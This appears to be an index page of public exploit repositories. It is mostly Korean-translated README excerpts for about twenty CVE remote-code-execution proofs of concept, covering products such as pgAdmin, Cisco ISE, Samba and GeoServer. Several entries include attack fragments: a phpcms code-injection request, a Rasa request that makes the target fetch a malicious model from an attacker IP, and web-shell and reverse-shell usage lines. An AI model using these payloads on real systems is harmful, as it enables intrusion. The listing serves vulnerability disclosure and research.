next88

next88 - React Server Components RCE 스캐너 React Server Components RCE 취약점CVE-2025-55182 및 CVE-2025-66478을 탐지하기 위한 고성능 Go 구현체입니다. 기능 🚀 고성능 : goroutine 기반 동시성을 갖춘 컴파일된 Go 바이너리 🔍 다중 탐지 방식 : 안전한 부채널side-channel 탐지 RCE PoC 검사 WAF 우회 기법 정크 데이터, 이중 인코딩, 세미콜론 우회 Vercel 전용 WAF 우회 ACTIONID 추출을 통한 소스 코드 노출 탐...

CVE-2025-2945_PgAdmin_PoC

CVE-2025-2945PoC pgAdmin Proof of Concept pgAdmin Query Tool RCE CVE-2025-2945 – Python Proof of Concept ⚠️ Disclaimer This repository contains a proof-of-concept exploit for CVE-2025-2945, a critical remote code execution vulnerability in pgAdmin 4 versions prior to 9.2. Use this code only in...

phpcms-2008-CVE-2018-19127

phpcms-2008-CVE-2018-19127 Recently we found a vulnerability in /type.php of phpcms 2008 source code. When attackers send crafted requests like "/type.php?template=tag;@unlinkFILE;assert$POST1;//../rss", evil content in this case "@unlinkFILE;assert$POST1;" will be written into cache file in this...

CiscoISE-CVE-2025-20282-POC

Cisco ISE CVE 2025-20282 개념 증명 Writeup: https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/ Python 스크립트는 인증 없이 /admin/files-upload/에서 사용 가능한 업로드 기능을 악용합니다. 스크립트는 로컬에 bin 폴더와 isehourlycron.sh라는 파일을 생성하고, Cisco ISE 설치 /opt/CSMS/bin 폴더에 위치의 원본 콘텐츠로 채웁니다파일은 base64로...

CVE-2019-11932

CVE-2019-11932 Modify the listening address attacker's and the listening port in the exploit.c file Following hex code: 3139 322e 3136 382e 322e 3732 2034 3434 3420 Compile the code: gcc -o exploit egiflib.c exploit.c Run the compiled file ./exploit exploit.gif copy/paste the output into a gif...

CVE-2024-28397-js2py-Sandbox-Escape

소개 중국어 분석 중국어 분석 영어 js2py는 파이썬 인터프리터 내에서 자바스크립트 코드를 평가할 수 있는 인기 있는 파이썬 패키지입니다. 다양한 웹 스크래퍼가 웹사이트의 자바스크립트 코드를 파싱하는 데 사용됩니다. js2py 내부의 전역 변수 구현에 취약점이 존재하여, 공격자가 js2py 환경에서 파이썬 객체에 대한 참조를 획득할 수 있게 됩니다. 이를 통해 공격자는 JS 환경을 탈출하여 호스트에서 임의의 명령을 실행할 수 있습니다. 일반적으로 사용자는 js2py.disablepyimport를 호출하여 JavaScript...

CVE-2024-4879

ServiceNow의 Jelly 템플릿 인젝션 취약점 | POC CVE-2024-4879 설명: ServiceNow는 Vancouver 및 Washington, D.C. Now Platform 릴리스에서 확인된 입력 검증 취약점을 해결했습니다. 이 취약점으로 인해 인증되지 않은 사용자가 Now Platform의 컨텍스트 내에서 원격으로 코드를 실행할 수 있게 될 수 있습니다. FOFA : "server : servicenow" 저장소 클론하기: git clone...

Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py 바로 실행하면 됩니다. python server-1.py 임의 파일 업로드 PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 결과는 다음과 같습니다: CVE-2021-41127 server-1.py 기본 모델명: evilimportmodel.tar.gz 악성 모델 데모 version: "3.1" intents: - greet responses...

CVE-2026-48907

CVE-2026-48907 — Joomla Content Editor JCE ≤ 2.9.99.4에서의 인증되지 않은 RCE CVE-2026-48907에 대한 개념 증명 익스플로잇 — Joomla Content Editor JCE 확장의 CVSS 10.0 사전 인증 원격 코드 실행 취약점입니다. 연구: Grayxploit Security Team 목차 개요 영향받는 버전 취약점 세부 사항 공격 흐름 개념 증명 패치 분석 해결 방법 타임라인 참고 자료 면책 조항 개요 CVE-2026-48907 은 가장 널리 설치된 Joomla...

CVE-2025-10230

CVE-2025-10230: Samba 치명적 RCE CVSS 10.0 취약점 요약 CVE-2025-10230은 13년 동안 Samba 코드베이스에 숨겨져 있던 치명적인 원격 코드 실행RCE 취약점입니다. 이 결함은 WINSWindows Internet Name Service 등록 패킷 처리에서 발생합니다. wins support = yes와 wins hook에 정의된 스크립트로 도메인 컨트롤러로 구성된 경우, Samba는 수신된 NetBIOS 이름을 정화하지 못합니다. 인증되지 않은 공격자는 셸 메타문자예: 명령어를 포함하는...

CVE-2024-36401-poc

CVE-2024-36401 — GeoServer OGC XPath 인젝션 RCE OGC 필터 valueReference 매개변수 인젝션XPath/JXPath 평가을 통한 GeoServer 무인증 원격 코드 실행RCE 익스플로잇. 면책 고지: 이 도구는 승인된 침투 테스트 및 보안 연구 목적으로만 제작되었습니다. 소유하지 않았거나 명시적인 서면 테스트 승인을 받지 않은 시스템에는 사용하지 마십시오. 작성자는 이 도구로 인한 오용 또는 피해에 대해 어떠한 책임도 지지 않습니다. 목차 개요 영향을 받는 버전 기술 세부 정보 요구 사...

CVE-2026-55200

보안 보고서: CVE-2026-55200 📝 일반 설명 CVE-2026-55200 은 libssh2 라이브러리버전 1.11.1까지에 영향을 미치는 heap 기반 메모리 오버플로우동적 메모리 손상 취약점입니다. 이 취약점을 통해 악의적인 SSH 서버가 연결하는 취약한 클라이언트를 손상시킬 수 있습니다. ⚡ 기술 세부 사항 취약점 유형: 메모리 오버플로우 Heap-based Buffer Overflow. 주요 영향: 원격 코드 실행 RCE 및 서비스 거부 DoS. 공격 단계: 암호화 인증 전 에 발생합니다. 공격 벡터: 악의적이거...

CVE-2019-11932-whatsApp-exploit

CVE-2019-11932-whatsap-exploit system의 주소와 가젯은 정보 유출 취약점을 통해 발견된 실제 주소로 교체되어야 합니다. system과 가젯의 주소를 교체한 후, 손상된 GIF 파일을 생성하기 위해 코드를 실행하세요: 이제 해봅시다 root@mranonymousTZ:/root/Desktop/CVE-2019-11932-whatsap-exploit$ chmod +x build.py root@mranonymousTZ:/root/Desktop/CVE-2019-11932-whatsap-exploit$...

CVE-2026-38526

CVE-2026-38526 - Krayin CRM RCE Description PoC script for critical vulnerability in Krayin CRM v2.2.x allowing authenticated RCE via unrestricted file upload. Usage Web shell python3 exploit.py -u http://target.com -e [email protected] -p password123 Reverse shell python3 exploit.py -u...

CVE-2025-64155

CVE-2025-64155: Fortinet FortiSIEM 인수 주입을 통한 원격 코드 실행 Fortinet FortiSIEM의 개념 증명 익스플로잇으로, 인수 주입을 악용하여 파일을 작성하고 root 권한으로 코드 실행을 얻습니다. 블로그 게시글 심층 분석은 여기에서: Horizon3.ai - CVE-2025-64155: Fortinet FortiSIEM을 3년 동안 원격으로 루팅하다 참고 이 문제를 악용하여 애플리케이션 파일을 덮어쓰면 시스템 불안정을 초래할 수 있습니다. 신중히 사용하세요. 다음과 같이...

CVE-2018-1000533

GitList 0.6.0 Remote Code Execution Vulnerability CVE-2018-1000533 GitList is a modern Git repository viewer. In GitList versions 0.6.0 and below, there is a vulnerability that passes improperly validated input to system functions, allowing arbitrary commands to be executed with PHP user...

cve-2022-37298

CVE-2022-37298: RCE in Shinken Monitoring Versions affected: 2.4.3 Disclosure link: https://github.com/naparuba/shinken/commit/2dae40fd1e713aec9e1966a0ab7a580b9180cff2 CVE link: https://vulners.com/cve/CVE-2022-37298 Description The SafeUnpickler class found in shinken/safepickle.py implements a...

CVE-2025-49132_HTB_SEASON10

CVE-2025-49132 - Pterodactyl Panel RCE エクスプロイト HTB Season 10 - Pterodactyl マシンの writeup 概要 ターゲット: Pterodactyl HTB マシン 中程度の難易度 CVE: CVE-2025-49132 深刻度: Critical CVSS 9.8 攻撃タイプ: 認証なしリモートコード実行 影響を受けるバージョン: Pterodactyl Panel リモートコード実行 方法 1: 提供された exploit.sh を使用 chmod +x exploit.sh Get user flag...

exploit-CVE-2020-5844

Exploit for CVE-2020-5844 Pandora FMS v7.0NG.742 - Remote Code Execution Like this repo? Give us a ⭐! For educational and authorized security research purposes only. Exploit Author @UNICORDev by @NicPWNs and @Dev-Yeoj Vulnerability Description...

CVE-2019-2107

CVE-2019-2107 CVE-2019-2107 CVE-2019-2107 - 무섭게 보입니다. 아직도 Stagefright와 PNG 버그 취약점들을 기억하시나요.... CVE-2019-2107에서는 디코더/코덱이 mediacodec 사용자로 실행되며, 적절히 "조작된" 비디오타일 활성화 - pspps-i1tilesenabledflag를 통해 RCE가 가능할 수 있습니다. 영향을 받는 코덱은 HVECH.265 및 MPEG-H Part 2입니다. exploit rce android stagefright cve 추가 정보...